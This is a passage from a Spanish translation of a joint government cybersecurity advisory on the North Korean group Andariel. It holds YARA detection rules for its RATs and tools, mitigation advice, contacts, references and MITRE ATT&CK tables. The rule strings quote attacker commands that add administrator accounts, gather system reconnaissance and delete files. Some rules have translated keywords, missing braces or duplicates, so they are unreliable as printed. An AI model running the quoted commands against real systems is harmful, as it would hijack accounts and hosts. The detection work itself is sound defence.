      $str10 = "utilities.EierKochen"
      $str11 = "kandidatKaufhaus"

   condición:
      3 of them
}
```

```
rule TriFaux_EasyRAT_JUPITER
{
   cadenas de caracteres:
      $InitOnce = "InitOnceExecuteOnce"
      $BREAK = { 0D 00 0A 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D
00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D
00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 2D 00 0D 00 0A }
                  $Bytes =
"4C,$00,$00,$00,$01,$14,$02,$00,$00,$00,$00,$00,$C0,$00,$00,$00,$00,$00,$00," wide
   condición:
      uint16(0) == 0x5a4d and all of them
}
```

```
rule Andariel_CutieDrop_MagicRAT
{
        cadenas de caracteres:
                $config_os_w = "os/windows" ascii wide
                $config_os_l = "os/linux" ascii wide
                $config_os_m = "os/mac" ascii wide
                $config_comp_msft = "company/microsoft" ascii wide
                $config_comp_orcl = "company/oracle" ascii wide
                $POST_field_1 = "session=" ascii wide
                $POST_field_2 = "type=" ascii wide
                $POST_field_3 = "id=" ascii wide
                $command_misspelled = "renmae" ascii wide
        condición:
                uint16(0) == 0x5a4d and 7 of them
```

```
rule Andariel_hhsd_FileTransferTool
{

   cadenas de caracteres:
      // 30 4D C7             xor     [rbp+buffer_v41+3], cl
      // 81 7D C4 22 C0 78 00    cmp     dword ptr [rbp+buffer_v41], 78C022h
      // 44 88 83 00 01 00 00    mov     [rbx+100h], r8b
      $handshake = { 30 ?? ?? 81 7? ?? 22 C0 78 00 4? 88 }

      // B1 14                mov     cl, 14h
      // C7 45 F7 14 00 41 00    mov     [rbp+57h+Src], 410014h
      // C7 45 FB 7A 00 7F 00    mov     [rbp+57h+var_5C], 7F007Ah
      // C7 45 FF 7B 00 63 00    mov     [rbp+57h+var_58], 63007Bh
      // C7 45 03 7A 00 34 00    mov     [rbp+57h+var_54], 34007Ah
      // C7 45 07 51 00 66 00    mov     [rbp+57h+var_50], 660051h
      // C7 45 0B 66 00 7B 00    mov     [rbp+57h+var_4C], 7B0066h
      // C7 45 0F 66 00 00 00    mov     [rbp+57h+var_48], 66h ; 'f'
      $err_xor_str = { 14 C7 [2] 14 00 41 00 C7 [2] 7A 00 7F 00 C7 [2] 7B 00 63 00 C7 [2] 7A 00 34 00 }

      // 41 02 D0             add     dl, r8b
      // 44 02 DA             add     r11b, dl
      // 3C 1F                cmp     al, 1Fh
      $buf_add_cmp_1f = { 4? 02 ?? 4? 02 ?? 3? 1F }
```

```
      // B9 8D 10 B7 F8          mov     ecx, 0F8B7108Dh
      // E8 F1 BA FF FF          call    sub_140001280
      $hash_call_loadlib = { B? 8D 10 B7 F8 E8 }
      $hash_call_unk = { B? 91 B8 F6 88 E8 }

   condición:
      uint16(0) == 0x5a4d and
      (any of ($handshake, $err_xor_str, $buf_add_cmp_1f) and any of ($hash_call_*)) or 2 of
      ($handshake, $err_xor_str, $buf_add_cmp_1f)
```

```
rule Andariel_Atharvan_3RAT
{
cadenas de caracteres:
$3RAT = "D:\\rang\\TOOL\\3RAT"
$atharvan = "Atharvan_dll.pdb"
condición:
uint16(0) == 0x5a4d and any of them
}
```

```
rule Andariel_LilithRAT_Variant
{
   cadenas de caracteres:
      // Las siguientes son cadenas que se ven en la versión de código abierto de Lilith:
      $lilith_1 = "Initiate a CMD session first." ascii wide
      $lilith_2 = "CMD is not open" ascii wide
      $lilith_3 = "Couldn't write command" ascii wide
      $lilith_4 = "Couldn't write to CMD: CMD not open" ascii wide

      // Las siguientes son cadenas que parecen ser exclusivas del troyano sin nombre basado en Lilith:
      $unique_1 = "Upload Error!" ascii wide
      $unique_2 = "ERROR: Downloading is already running!" ascii wide
      $unique_3 = "ERROR: Unable to open file:" ascii wide
      $unique_4 = "General error" ascii wide
      $unique_5 = "CMD error" ascii wide
      $unique_6 = "killing self" ascii wide
   condition:
      uint16(0) == 0x5a4d and filesize < 150KB and all of ($lilith_*) and 2 of ($unique_*)
}
```

```
rule Andariel_SocksTroy_Strings_OpCodes
{
     cadenas de caracteres:
      $strHost = "-host" wide
      $strAuth = "-auth" wide
      $SocksTroy = "SocksTroy"
      $cOpCodeCheck = { 81 E? A0 00 00 00 0F 84 ?? ?? ?? ?? 83 E? 03 74 ?? 83 E? 02 74 ?? 83 F? 0B }
   condición:
      uint16(0) == 0x5a4d and
      ((1 of ($str*)) and
      (all of ($c*)) or (all of ($Socks*)))
}
```

```
rule Andariel_Agni
{
   cadenas de caracteres:
      $xor = { 34 ?? 88 01 48 8D 49 01 0F B6 01 84 C0 75 F1 }
      $stackstrings = {C7 44 24 [5-10] C7 44 24 [5] C7 44 24 [5-10] C7 44 24 [5-10] C7 44 24}
   condición:
      uint16(0) == 0x5a4d and (#xor > 100 and #stackstrings > 5)
}
```

```
rule Andariel_GoLang_validalpha_handshake
{
   cadenas de caracteres:
      $ = { 66 C7 00 AB CD C6 40 02 EF ?? 03 00 00 00 48 89 C1 ?? 03 00 00 00 }
   condición:
      all of them
}
```

```
rule Andariel_GoLang_validalpha_tasks
{
   cadenas de caracteres:
      $ = "main.ScreenMonitThread"
      $ = "main.CmdShell"
      $ = "main.GetAllFoldersAndFiles"
      $ = "main.SelfDelete"
      condición:
      all of them
}
```

```
rule Andariel_GoLang_validalpha_BlackString
{
   cadenas de caracteres:
   $ = "I:/01___Tools/02___RAT/Black"
   condition:
   uint16(0) == 0x5A4D and all of them
}
```

```
rule INDICATOR_EXE_Packed_VMProtect
      strings:
      $s1 = ".vmp0" fullword ascii
      $s2 = ".vmp1" fullword ascii
   condition:
      uint16(0) == 0x5a4d and all of them or
      for any i in (0 .. pe.number_of_sections) : (
         (
            pe.sections[i].name == ".vmp0" or
            pe.sections[i].name == ".vmp1"
         )
      )
}
```

```
rule INDICATOR_EXE_Packed_Themida
      strings:
      $s1 = ".themida" fullword ascii
   condition:
      uint16(0) == 0x5a4d and all of them or
      for any i in (0 .. pe.number_of_sections) : (
         (
            pe.sections[i].name == ".themida"
         )
      )
}
```

```
rule Andariel_elf_backdoor_fipps
{
cadenas de caracteres:
      $a = "found mac address"
      $b = "RecvThread"
      $c = "OpenSSL-1.0.0-fipps"
      $d = "Disconnected!"
   condición:
      (all of them) and uint32(0) == 0x464c457f
}
```

```
 rule Andariel_bindshell
 {
 cadenas de caracteres:
```

```
        $str_comspec = "COMSPEC"
        $str_consolewindow = "GetConsoleWindow"
        $str_ShowWindow = "ShowWindow"
        $str_WSASocketA = "WSASocketA"
        $str_CreateProcessA = "CreateProcessA"
        $str_port = {B9 4D 05 00 00 89}
 condición:
 uint16(0) == 0x5A4D and all of them
}
```

```
rule Andariel_grease2
{
cadenas de caracteres:
 $str_rdpconf = "c: \\windows\\temp\\RDPConf.exe" fullword nocase
 $str_rdpwinst = "c: \\windows\\temp\\RDPWInst.exe" fullword nocase
 $str_net_user = "net user"
 $str_admins_add = "net localgroup administrators"
condition:
uint16(0) == 0x5A4D and
all of them
 }
```

```
rule Andariel_NoPineapple_Dtrack_unpacked
{
cadenas de caracteres:
 $str_nopineapple = "< No Pineapple! >"
 $str_qt_library = "Qt 5.12.10"
 $str_xor = {8B 10 83 F6 ?? 83 FA 01 77}
condición:
uint16(0) == 0x5A4D and
all of them
}
```

```
rule Andariel_dtrack_unpacked
{
cadenas de caracteres:
 $str_mutex = "MTX_Global"
 $str_cmd_1 = "/c net use \\\\" wide
 $str_cmd_2 = "/c ping -n 3 127.0.01 > NUL % echo EEE > \"%s\"" wide
 $str_cmd_3 = "/c move /y %s \\\\" wide
 $str_cmd_4 = "/c systeminfo > \"%s\" & tasklist > \"%s\" & netstat -naop tcp > \"%s\"" wide
condition:
uint16(0) == 0x5A4D and
all of them
}
```

```
rule Andariel_TigerRAT_crowdsourced_rule {
   strings:
      $m1 = ".?AVModuleKeyLogger@@" fullword ascii
      $m2 = ".?AVModulePortForwarder@@" fullword ascii
      $m3 = ".?AVModuleScreenCapture@@" fullword ascii
      $m4 = ".?AVModuleShell@@" fullword ascii
      $s1 = "\\x9891-009942-xnopcopie.dat" fullword wide
      $s2 = "(%02d : %02d-%02d %02d:%02d:%02d)--- %s[Clipboard]" fullword ascii
      $s3 = "[%02d : %02d-%02d %02d:%02d:%02d]--- %s[Title]" fullword ascii
      $s4 = "del \"%s\"%s \"%s\" goto " ascii
      $s5 = "[<<]" fullword ascii
   condition:
      uint16(0) == 0x5a4d and (all of ($s*) or (all of ($m*) and 1 of ($s*)) or (2 of ($m*) and 2 of ($s*)))
}
```

```
rule win_tiger_rat_auto {
cadenas de caracteres:
 $str_port = {B9 4D 05 00 00 89}
condition:
uint16(0) == 0x5A4D and all of them
}
```

```
rule Andariel_grease2
{
cadenas de caracteres:
 $str_rdpconf = "c: \\windows\\temp\\RDPConf.exe" fullword nocase
 $str_rdpwinst = "c: \\windows\\temp\\RDPWInst.exe" fullword nocase
 $str_net_user = "net user"
 $str_admins_add = "net localgroup administrators"
condition:
uint16(0) == 0x5A4D and
all of them
}
```

```
rule Andariel_NoPineapple_Dtrack_unpacked
{
cadenas de caracteres:
 $str_nopineapple = "< No Pineapple! >"
 $str_qt_library = "Qt 5.12.10"
 $str_xor = {8B 10 83 F6 ?? 83 FA 01 77}
condición:
uint16(0) == 0x5A4D and
all of them
}
```

```
rule Andariel_dtrack_unpacked
{
cadenas de caracteres:
 $str_mutex = "MTX_Global"
 $str_cmd_1 = "/c net use \\\\" wide
 $str_cmd_2 = "/c ping -n 3 127.0.01 > NUL % echo EEE > \"%s\"" wide
 $str_cmd_3 = "/c move /y %s \\\\" wide
 $str_cmd_4 = "/c systeminfo > \"%s\" & tasklist > \"%s\" & netstat -naop tcp > \"%s\"" wide
condition:
uint16(0) == 0x5A4D and
all of them
}
```

```
rule Andariel_TigerRAT_crowdsourced_rule {
   strings:
      $m1 = ".?AVModuleKeyLogger@@" fullword ascii
      $m2 = ".?AVModulePortForwarder@@" fullword ascii
      $m3 = ".?AVModuleScreenCapture@@" fullword ascii
      $m4 = ".?AVModuleShell@@" fullword ascii
      $s1 = "\\x9891-009942-xnopcopie.dat" fullword wide
      $s2 = "(%02d : %02d-%02d %02d:%02d:%02d)--- %s[Clipboard]" fullword ascii
      $s3 = "[%02d : %02d-%02d %02d:%02d:%02d]--- %s[Title]" fullword ascii
      $s4 = "del \"%s\"%s \"%s\" goto " ascii
      $s5 = "[<<]" fullword ascii
   condition:
      uint16(0) == 0x5a4d and (all of ($s*) or (all of ($m*) and 1 of ($s*)) or (2 of ($m*) and 2 of ($s*)))
}
```

```
rule win_tiger_rat_auto
{
cadenas de caracteres:
      $sequence_0 = { 33c0 89442438 89442430 448bcf 4533c0 }
         // n = 5, score = 200
         // 33c0                 | jmp             5
         // 89442438             | dec             eax
         // 89442430             | mov             eax, ecx
         // 448bcf               | movzx           eax, byte ptr [eax]
         // 4533c0               | dec             eax

      $sequence_1 = { 41b901000000 488bd6 488bcb e8???????? }
         // n = 4, score = 200
         // 41b901000000         | dec             eax
         // 488bd6               | mov             eax, dword ptr [ecx]
         // 488bcb               | jmp             8
         // e8????????           |

      $sequence_2 = { 4881ec90050000 8b01 8985c8040000 8b4104 }
         // n = 4, score = 200
         // 4881ec90050000       | test            eax, eax
         // 8b01                 | jns             0x16
         // 8985c8040000         | dec             eax
         // 8b4104               | mov             eax, dword ptr [ecx]

      $sequence_3 = { 488b01 ff10 488b4f08 4c8d4c2430 }
         // n = 4, score = 200
         // 488b01               | mov             edx, esi
         // ff10                 | dec             eax
         // 488b4f08             | mov             ecx, ebx
         // 4c8d4c2430           | inc             ecx

      $sequence_4 = { 488b01 ff10 488b4e18 488b01 }
         // n = 4, score = 200
         // 488b01               | dec             eax
         // ff10                 | cmp             dword ptr [ecx + 0x18], 0x10
         // 488b4e18             | dec             eax
         // 488b01               | sub             esp, 0x590

      $sequence_5 = { 4881eca0000000 33c0 488bd9 488d4c2432 }
         // n = 4, score = 200
         // 4881eca0000000       | mov             eax, dword ptr [ecx]
         // 33c0                 | mov             dword ptr [ebp + 0x4c8], eax
         // 488bd9               | mov             eax, dword ptr [ecx + 4]
         // 488d4c2432           | mov             dword ptr [ebp + 0x4d0], eax

      $sequence_6 = { 488b01 eb03 488bc1 0fb600 }
         // n = 4, score = 200
         // 488b01               | inc             ecx
         // eb03                 | mov             ebx, dword ptr [ebp + ebp]
         // 488bc1               | inc             ecx
         // 0fb600               | movups          xmmword ptr [edi], xmm0
```

```
        $sequence_7 = { 488b01 8b10 895124 448b4124 4585c0 }
            // n = 5, score = 200
            // 488b01       | sub    esp, 0x30
            // 8b10         | dec    ecx
            // 895124       | mov    ebx, eax
            // 448b4124     | dec    eax
            // 4585c0       | mov    ecx, eax

        $sequence_8 = { 4c8d0d31eb0000 c1e918 c1e808 41bf00000080 }
            // n = 4, score = 100
            // 4c8d0d31eb0000       | jne    0x1e6
            // c1e918       | dec    eax
            // c1e808       | lea    ecx, [0xbda0]
            // 41bf00000080         | dec    esp

        $sequence_9 = { 488bd8 4885c0 752d ff15???????? 83f857 0f85e0010000 488d0da0bd0000 }
            // n = 7, score = 100
            // 488bd8       | dec    eax
            // 4885c0       | mov    ebx, eax
            // 752d         | dec    eax
            // ff15????????         |
            // 83f857       | test   eax, eax
            // 0f85e0010000         | jne    0x2f
            // 488d0da0bd0000       | cmp    eax, 0x57

        $sequence_10 = { 75d4 488d1d7f6c0100 488b4bf8 4885c9 740b }
            // n = 5, score = 100
            // 75d4         | lea    ecx, [0xeb31]
            // 488d1d7f6c0100       | shr    ecx, 0x18
            // 488b4bf8     | shr    eax, 8
            // 4885c9       | inc    ecx
            // 740b         | mov    edi, 0x80000000

        $sequence_11 = { 0f85d9000000 488d15d0c90000 41b810200100 488bcd e8???????? eb6b
    b9f4ffffff }
            // n = 7, score = 100
            // 0f85d9000000         | jne    0xffffffd6
            // 488d15d0c90000       | dec    eax
            // 41b810200100         | lea    ebx, [0x16c7f]
            // 488bcd       | dec    eax
            // e8????????           |
            // eb6b         | mov    ecx, dword ptr [ebx - 8]
            // b9f4ffffff           | dec    eax

        $sequence_12 = { 48890d???????? 488905???????? 488d05ae610000 488905????????
    488d05a0550000 488905???????? }
            // n = 6, score = 100
            // 48890d????????       |
            // 488905????????       |
            // 488d05ae610000       | test   ecx, ecx
            // 488905????????       |
            // 488d05a0550000       | je     0x10
            // 488905????????       |
```

```
      $sequence_13 = { 8bcf e8???????? 488b7c2448 85c0 0f8440030000 488d0560250100 }
         // n = 6, score = 100
         // 8bcf                | mov             eax, 0x12010
         // e8????????          |
         // 488b7c2448          | dec             eax
         // 85c0                | mov             ecx, ebp
         // 0f8440030000        | jmp             0x83
         // 488d0560250100      | mov             ecx, 0xfffffff4

      $sequence_14 = { ff15???????? 8b05???????? 2305???????? ba02000000 33c9 8905????????
8b05???????? }
         // n = 7, score = 100
         // ff15????????        |
         // 8b05????????        |
         // 2305????????        |
         // ba02000000          | dec             eax
         // 33c9                | lea             eax, [0x61ae]
         // 8905????????        |
         // 8b05????????        |

      $sequence_15 = { 4883ec30 498bd8 e8???????? 488bc8 4885c0 }
         // n = 5, score = 100
         // 4883ec30            | jne             0xdf
         // 498bd8              | dec             eax
         // e8????????          |
         // 488bc8              | lea             edx, [0xc9d0]
         // 4885c0              | inc             ecx

   condición:
      7 of them and filesize < 557056
         }
rule win_dtrack_auto {
   strings:
      $sequence_0 = { 52 8b4508 50 e8???????? 83c414 8b4d10 51 }
         // n = 7, score = 400
         // 52                  | push            edx
         // 8b4508              | mov             eax, dword ptr [ebp + 8]
         // 50                  | push            eax
         // e8????????          |
         // 83c414              | add             esp, 0x14
         // 8b4d10              | mov             ecx, dword ptr [ebp + 0x10]
         // 51                  | push            ecx

      $sequence_1 = { 3a4101 7523 83854cf6ffff02 838550f6ffff02 80bd4af6ffff00 75ae
c78544f6ffff00000000 }
         // n = 7, score = 300
         // 3a4101              | cmp             al, byte ptr [ecx + 1]
         // 7523                | jne             0x25
         // 83854cf6ffff02      | add             dword ptr [ebp - 0x9b4], 2
         // 838550f6ffff02      | add             dword ptr [ebp - 0x9b0], 2
         // 80bd4af6ffff00      | cmp             byte ptr [ebp - 0x9b6], 0
         // 75ae                | jne             0xffffffb0
         // c78544f6ffff00000000 | mov            dword ptr [ebp - 0x9bc], 0
```

```
$sequence_2 = { 50 ff15???????? a3???????? 
   68???????? e8???????? 83c404 50 }
        // n = 7, score = 300
        // 50               | push            eax
        // ff15????????       |
        // a3????????         |
        // 68????????         |
        // e8????????         |
        // 83c404           | add             esp, 4
        // 50               | push            eax

    $sequence_3 = { 8d8dd4faffff 51 e8???????? 83c408 8b15???????? }
        // n = 5, score = 300
        // 8d8dd4faffff       | lea             ecx, [ebp - 0x52c]
        // 51               | push            ecx
        // e8????????         |
        // 83c408           | add             esp, 8
        // 8b15????????       |

    $sequence_4 = { 8855f5 6a5c 8b450c 50 e8???????? }
        // n = 5, score = 300
        // 8855f5           | mov             byte ptr [ebp - 0xb], dl
        // 6a5c             | push            0x5c
        // 8b450c           | mov             eax, dword ptr [ebp + 0xc]
        // 50               | push            eax
        // e8????????         |

    $sequence_5 = { 51 e8???????? 83c410 8b558c 52 }
        // n = 5, score = 300
        // 51               | push            ecx
        // e8????????         |
        // 83c410           | add             esp, 0x10
        // 8b558c           | mov             edx, dword ptr [ebp - 0x74]
        // 52               | push            edx

    $sequence_6 = { 8b4d0c 51 68???????? 8d9560eaffff 52 e8???????? }
        // n = 6, score = 300
        // 8b4d0c           | mov             ecx, dword ptr [ebp + 0xc]
        // 51               | push            ecx
        // 68????????         |
        // 8d9560eaffff       | lea             edx, [ebp - 0x15a0]
        // 52               | push            edx
        // e8????????         |

    $sequence_7 = { 83c001 8945f4 837df420 7d2c 8b4df8 }
        // n = 5, score = 300
        // 83c001           | add             eax, 1
        // 8945f4           | mov             dword ptr [ebp - 0xc], eax
        // 837df420         | cmp             dword ptr [ebp - 0xc], 0x20
        // 7d2c             | jge             0x2e
        // 8b4df8           | mov             ecx, dword ptr [ebp - 8]
```

```
        $sequence_8 = { 83c001 89856cf6ffff 8b8d70f6ffff 8a11 }
            // n = 4, score = 300
            // 83c001       | add    eax, 1
            // 89856cf6ffff         | mov             dword ptr [ebp - 0x994], eax
            // 8b8d70f6ffff         | mov             ecx, dword ptr [ebp - 0x990]
            // 8a11                 | mov             dl, byte ptr [ecx]

        $sequence_9 = { 0355f0 0fb602 0fb64df7 33c1 0fb655fc 33c2 }
            // n = 6, score = 200
            // 0355f0               | add             edx, dword ptr [ebp - 0x10]
            // 0fb602               | movzx           eax, byte ptr [edx]
            // 0fb64df7             | movzx           ecx, byte ptr [ebp - 9]
            // 33c1                 | xor             eax, ecx
            // 0fb655fc             | movzx           edx, byte ptr [ebp - 4]
            // 33c2                 | xor             eax, edx

        $sequence_10 = { d1e9 894df8 8b5518 8955fc c745f000000000 }
            // n = 5, score = 200
            // d1e9                 | shr             ecx, 1
            // 894df8               | mov             dword ptr [ebp - 8], ecx
            // 8b5518               | mov             edx, dword ptr [ebp + 0x18]
            // 8955fc               | mov             dword ptr [ebp - 4], edx
            // c745f000000000       | mov             dword ptr [ebp - 0x10], 0

        $sequence_11 = { 8b4df0 3b4d10 0f8d90000000 8b5508 0355f0 0fb602 }
            // n = 6, score = 200
            // 8b4df0               | mov             ecx, dword ptr [ebp - 0x10]
            // 3b4d10               | cmp             ecx, dword ptr [ebp + 0x10]
            // 0f8d90000000         | jge             0x96
            // 8b5508               | mov             edx, dword ptr [ebp + 8]
            // 0355f0               | add             edx, dword ptr [ebp - 0x10]
            // 0fb602               | movzx           eax, byte ptr [edx]

        $sequence_12 = { 894d14 8b45f8 c1e018 8b4dfc c1e908 0bc1 }
            // n = 6, score = 200
            // 894d14               | mov             dword ptr [ebp + 0x14], ecx
            // 8b45f8               | mov             eax, dword ptr [ebp - 8]
            // c1e018               | shl             eax, 0x18
            // 8b4dfc               | mov             ecx, dword ptr [ebp - 4]
            // c1e908               | shr             ecx, 8
            // 0bc1                 | or              eax, ecx

        $sequence_13 = { 0bc1 894518 8b5514 8955f8 }
            // n = 4, score = 200
            // 0bc1                 | or              eax, ecx
            // 894518               | mov             dword ptr [ebp + 0x18], eax
            // 8b5514               | mov             edx, dword ptr [ebp + 0x14]
            // 8955f8               | mov             dword ptr [ebp - 8], edx

        $sequence_14 = { 8b5514 8955f8 8b4518 8945fc e9???????? 8be5 }
            // n = 6, score = 200
            // 8b5514               | mov             edx, dword ptr [ebp + 0x14]
            // 8955f8               | mov             dword ptr [ebp - 8], edx
            // 8b4518               | mov             eax, dword ptr [ebp + 0x18]
            // 8945fc               | mov             dword ptr [ebp - 4], eax
            // e9????????           |
            // 8be5                 | mov             esp, ebp

    condición:
        7 of them and filesize < 1736704
}
```

Medidas de mitigación

Los organismos autores recomiendan que las organizaciones implementen las siguientes medidas de mitigación para mejorar la postura de ciberseguridad de su organización, en función de la actividad del agente de amenazas.

Log4Shell y otras vulnerabilidades de Log4j

Los defensores deben consultar el Aviso Conjunto sobre Ciberseguridad titulado "Mitigación de Log4Shell y otras vulnerabilidades relacionadas con Log4j" y la guía "Vulnerabilidad de Apache Log4j" de la Agencia de Ciberseguridad y Seguridad de la Infraestructura (CISA). Las organizaciones pueden mitigar los riesgos que plantea la vulnerabilidad mediante la identificación de los activos afectados por Log4Shell y otras vulnerabilidades relacionadas con Log4j y la actualización de los activos de Log4j y los productos afectados a la última versión.

Nota: CVE-2021-44228 "Log4Shell" se dio a conocer en diciembre de 2021 y afecta a la biblioteca Log4j anterior a la versión 2.17.0.

Los defensores deben permanecer atentos a las actualizaciones de programas de los proveedores e iniciar procedimientos de caza y respuesta a incidentes para detectar posibles explotaciones de Log4Shell.

Programas malignos de web shell

Los delincuentes instalan programas malignos de web shell en el servidor web de la víctima para ejecutar comandos arbitrarios del sistema. El informe de la Agencia de Seguridad Nacional (NSA) y la Dirección de Señales de Australia titulado "Detectar y prevenir programas malignos de web shell" proporciona medidas de mitigación para identificar y recuperarse de los web shells.

La prevención de la explotación de los servidores web depende a menudo del mantenimiento de un inventario de sistemas y aplicaciones, la rápida aplicación de parches a medida que se publican, la colocación de sistemas vulnerables o potencialmente peligrosos detrás de proxies inversos que requieran autenticación, y el despliegue y configuración de cortafuegos de aplicaciones web (WAF, por sus siglas en inglés).

Actividad en los puntos finales

La prevención y detección de nuevas actividades de los adversarios debe centrarse en el despliegue de agentes de punto final u otros mecanismos de supervisión, el bloqueo de conexiones salientes innecesarias, el bloqueo del acceso externo a los paneles y servicios del administrador o su desactivación total, y la segmentación de la red para evitar el movimiento lateral desde un servidor web comprometido a los activos críticos.

Actividad en la línea de comandos y acceso remoto

El monitoreo de actividades sospechosas en la línea de comandos, la implementación de autenticación multifactor para servicios de acceso remoto, así como la segmentación y el uso adecuados de herramientas de listas permitidas para los activos críticos pueden proteger contra la actividad maliciosa del grupo Andariel de la 3. oficina del Buró de Reconocimiento General (RGB) y otros agentes de amenazas cibernéticas.

Empaquetado

Las firmas para Themida, VMProtect y otros empaquetadores están disponibles aquí; sin embargo, las firmas no identificarán todos los archivos empaquetados con estas aplicaciones.

Medidas de mitigación adicionales para actividades maliciosas

- Comprobar si hay vulnerabilidades de seguridad, aplicar parches y actualizar a la última versión del programa.
- Cifrar todos los datos confidenciales, incluida la información personal.
- Bloquear el acceso a puertos no utilizados.
- Cambiar las contraseñas cuando se sospeche que están en peligro.
- Reforzar el proceso de autenticación de la identidad del abonado en los servidores alquilados.

Recompensas por la justicia de la RPDC

Los gobiernos de los Estados Unidos y de la República de Corea alientan a las víctimas a denunciar ante las autoridades pertinentes las actividades sospechosas, incluidas aquellas relacionadas con presuntas actividades cibernéticas de la RPDC. Si proporciona información sobre las actividades ilícitas de la RPDC en el ciberespacio, incluidas operaciones pasadas o actuales, puede recibir una recompensa. Si tiene información sobre las actividades ilícitas de la RPDC en el ciberespacio, incluidas operaciones pasadas o actuales, proporcionar dicha información a través del programa Recompensas por la Justicia del Departamento de Estado (Department of State's Rewards for Justice) podría hacerlo elegible para recibir un galardón de hasta $10 millones. Para obtener más información, visite https://rewardsforjustice.net/.

Agradecimientos

Mandiant y Microsoft Threat Intelligence contribuyeron a este Aviso Conjunto sobre Ciberseguridad.

Descargo de responsabilidad en materia de respaldo

Su organización no tiene la obligación de responder ni facilitar información en respuesta a este documento. Si, después de revisar la información presentada, su organización decide facilitar información a los organismos autores, debe hacerlo en conformidad con las leyes estatales y federales aplicables.

La información contenida en este informe se proporciona "tal cual" solo con fines informativos. Los organismos autores no respaldan ningún producto o servicio comercial, incluido ningún tema de análisis. Cualquier referencia a productos, procesos o servicios comerciales específicos mediante marcas de servicio, marcas registradas, fabricantes o de otro modo no constituye ni implica el respaldo, la recomendación ni la preferencia de los coautores.

Reconocimiento de marcas registradas

Active Directory®, Microsoft®, PowerShelly® Windows® son marcas registradas de Microsoft Corporation. MITRE® y ATT&CK® son marcas comerciales registradas de The MITRE Corporation.

Propósito

Este documento se desarrolló para promover las misiones de seguridad cibernética de sus agencias autoras, incluidas las responsabilidades de estas de identificar y difundir amenazas, y de desarrollar y publicar especificaciones y medidas de seguridad cibernética para mitigar amenazas. Esta información se puede compartir ampliamente para llegar a todas las partes interesadas apropiadas.

CONTACTO

Organizaciones en los EE. UU.: denuncie con urgencia cualquier actividad o incidente anómalos, incluidos aquellos basados en información técnica asociada con este asesoramiento de seguridad cibernética, ante la CISA aReport@cisa.dhs.govo cisa.gov/report o a la FBI a través de la oficina local de la FBI indicada en https://www.fbi.gov/contact-us/field-offices.

Laboratorio Forense Cibernético (CFL, por sus siglas en inglés) del Centro de Delitos Cibernéticos del Departamento de Defensa de los Estados Unidos (DC3): afosi.dc3.cflintake@us.af.mil

Entorno de Intercambio de Información Colaborativa (DCISE, por sus siglas en inglés) de la Base Industrial de Defensa (DIB, por sus siglas en inglés) del Departamento de Defensa (DoD, por sus siglas en inglés): dc3.dcise@us.af.mil

Preguntas y comentarios sobre el informe de ciberseguridad de la Agencia de Seguridad Nacional (NSA): CybersecurityReports@nsa.gov

Consultas sobre la base industrial de defensa de la Agencia de Seguridad Nacional (NSA) y servicios de ciberseguridad: DIB_Defense@cyber.nsa.gov **Consultas de los medios de la Agencia de Seguridad Nacional (NSA)/Mesa de prensa:** 443-634-0721, MediaRelations@nsa.gov

Organizaciones de la República de Corea: si sospecha de incidentes cibernéticos que involucran a agentes estatales, incluido Andariel, o descubre casos similares, comuníquese con las autoridades correspondientes.

Servicio de Inteligencia Nacional (National Intelligence Service): www.nis.go.kr, +82 111

Referencias

AhnLab Security Emergency Response Center:

- https://asec.ahnlab.com/en/56405/
- https://asec.ahnlab.com/en/59073/
- https://asec.ahnlab.com/en/66088/

Boredhackerblog: http://www.boredhackerblog.info/2022/11/openssl-100-fipps-linux-backdoor-notes.html

Cisco Talos Intelligence blogs:

- https://blog.talosintelligence.com/lazarus-three-rats/
- https://blog.talosintelligence.com/lazarus-magicrat/
- https://blog.talosintelligence.com/lazarus-collectionrat/
- https://blog.talosintelligence.com/lazarus-quiterat/

DCSO blog: https://medium.com/@DCSO_CyTec/andariels-jupiter-malware-and-the-case-of-the-curious-c2-dbfe29f57499

Github.com/ditekshen: https://github.com/ditekshen/detection/blob/master/yara/indicator_packed.yar

JPCERT blogs:

- https://blogs.jpcert.or.jp/en/2021/03/Lazarus_malware3.html
- https://blogs.jpcert.or.jp/en/2022/07/yamabot.html

Mandiant blogs:

- https://www.mandiant.com/resources/blog/north-korea-cyber-structure-alignment-2023
- https://www.mandiant.com/resources/blog/mapping-dprk-groups-to-government

Microsoft blogs:

- https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/
- https://www.microsoft.com/en-us/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/

NCSC Guidance

- Alert: Apache Log4j Vulnerabilities: https://www.ncsc.gov.uk/news/apache-log4j-vulnerability
- Information: https://www.ncsc.gov.uk/information/log4j-vulnerability-what-everyone-needs-to-know

Symantec blog: https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/clasiopa-materials-research

VMware blog: https://blogs.vmware.com/security/2021/12/tigerrat-advanced-adversaries-on-the-prowl.html

WithSecure Labs report: https://labs.withsecure.com/publications/no-pineapple-dprk-targeting-of-medical-research-and-technology-sector

Apéndice: Programas y técnicas de MITRE ATT&CK

Las tácticas y técnicas a las que se hace referencia en este aviso se identifican de la **Tabla 3 a la Tabla 12**.

Tabla 3: Reconocimiento y enumeración

Título de la técnica	Identificación	Uso
Recopilar información sobre la organización de la víctima	T1591	Los agentes recopilan información sobre la organización de la víctima que puede utilizarse durante el ataque.
Recopilar información sobre el servidor de la víctima	T1592	Los agentes recopilan información sobre los servidores de la víctima que puede utilizarse durante el ataque.
Escaneo activo	T1595	Los agentes ejecutan escaneos de reconocimiento activo para recopilar información que pueda utilizarse durante el ataque.
Búsqueda en bases de datos técnicas abiertas	T1596	Los agentes buscan en bases de datos técnicas de libre acceso información sobre las víctimas que pueda ser utilizada durante el ataque.

Tabla 4: Desarrollo de recursos, herramientas y herramientas de acceso remoto

Título de la técnica	Identificación	Uso
Volcado de credenciales de OS	T1003	Los agentes intentan volcar las credenciales para obtener material de inicio de sesión y credenciales de la cuenta, normalmente en forma de hash o contraseña en texto claro, del sistema operativo y el programa.
Exfiltración por protocolo alternativo	T1048	Los agentes roban datos filtrándolos a través de un protocolo diferente al del canal de comando y control existente.
